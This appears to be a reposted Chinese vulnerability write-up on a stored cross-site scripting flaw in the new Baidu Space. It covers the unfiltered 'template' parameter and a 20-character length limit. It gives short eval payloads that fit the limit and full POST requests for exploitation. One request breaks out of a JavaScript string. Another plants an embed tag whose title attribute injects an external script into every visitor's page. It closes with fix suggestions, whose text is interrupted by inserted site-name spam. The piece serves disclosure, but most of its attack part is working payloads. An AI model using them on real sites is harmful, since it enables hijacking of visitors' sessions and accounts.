当前位置:首页 >> 网络通讯 >> 网络安全 >> 内容

新版百度空间存储型XSS

时间:2015/5/19 19:17:38 作者:平凡之路 来源:xuhantao.com 浏览:

新版的百度空间有一处没有过滤导致XSS,但是可以被利用的字段,长度限制为了20个长度,去掉两端的构造字符,只有16个长度了。还是老办法,eval(X), eval(name)的方法在利用上比较间接,不做第一考虑,我们还是优先想办法找一处可以注入ID="X"的位置,然后。。。


1. 漏洞出现在新版百度空间模板的选择上。
2. 缺陷地址:
3. 缺陷参数: template
4. 缺陷原因: 除了限制了20个长度,未做任何输入输出过滤。
5. theme在注入自定义内容后,将在空间主页以及各文章页面内以下代码处出现。
 
window.CurrentApplyedTpl = '{template内容}';
6. 基于此,我们可以构造恶意代码如下:
 
window.CurrentApplyedTpl = '';eval(XXX)//';   //XXX表示可以被控制的变量
7. XXX 可选对象
';eval(qUserInfo.spaceName)// <--29个长度,不可取
';eval(M.innerHTML)// <-- 21个长度,也不行
';eval(M.title)// <--17个长度
';eval(M.name)// <--16个长度
';eval(M.alt)// <--15个长度
';eval(M.src)// <--15个长度
8. 基于以上考虑,我们就得找一个位置,可以写入id="M" 属性名="被eval的代码"。
但是经过测试,百度空间发表文章里的<img> 标签无法写入id属性。
9. 但是运气比较好的是,偶然随手测试发现<embed></embed>标签竟然可以直接使用(难道是旧版空间的残留?)
运气更不错的是,<embed></embed> 还可以写入title 属性。(其它的alt,name 无法写入,src需要以开头)
10. 因而,我们可以构造出以下利用步骤。
 
利用步骤:
 
A. POST
POSTDATA
template=';eval(M.title)//&bdstoken={my token}&qing_request_source=
 
B. 随便发表一篇文章。POST的content内容修改为以下:
POST
POSTDATA (content以外的参数省略)
content=encodeURIComponent(<div><p><embed src="" id="M" title="(function(){var s=document.createElement('script');s.src='';document.body.appendChild(s)})()"</p></div>)
 
C. 那么此文章就成了一个可以用来跨站的页面了。
漏洞证明

测试平台: Win7 + Chrome, IE
 
Chrome下的效果
 
 
 



 
 
IE 下的效果
 
 
 


 
 
 
修复方案:
 
 
1. 过滤template的内容
2. 新版空间还用的到embed标签不?就算用的到,涛涛电脑知识网,也可以和img一样,www.www.xuhantao.com,把id给过滤掉。
 
作者  gainover

相关文章
  • 没有相关文章
共有评论 0相关评论
发表我的评论
  • 大名:
  • 内容:
  • 徐汉涛(www.xuhantao.com) © 2024 版权所有 All Rights Reserved.
  • 部分内容来自网络,如有侵权请联系站长尽快处理 站长QQ:965898558(广告及站内业务受理) 网站备案号:蒙ICP备15000590号-1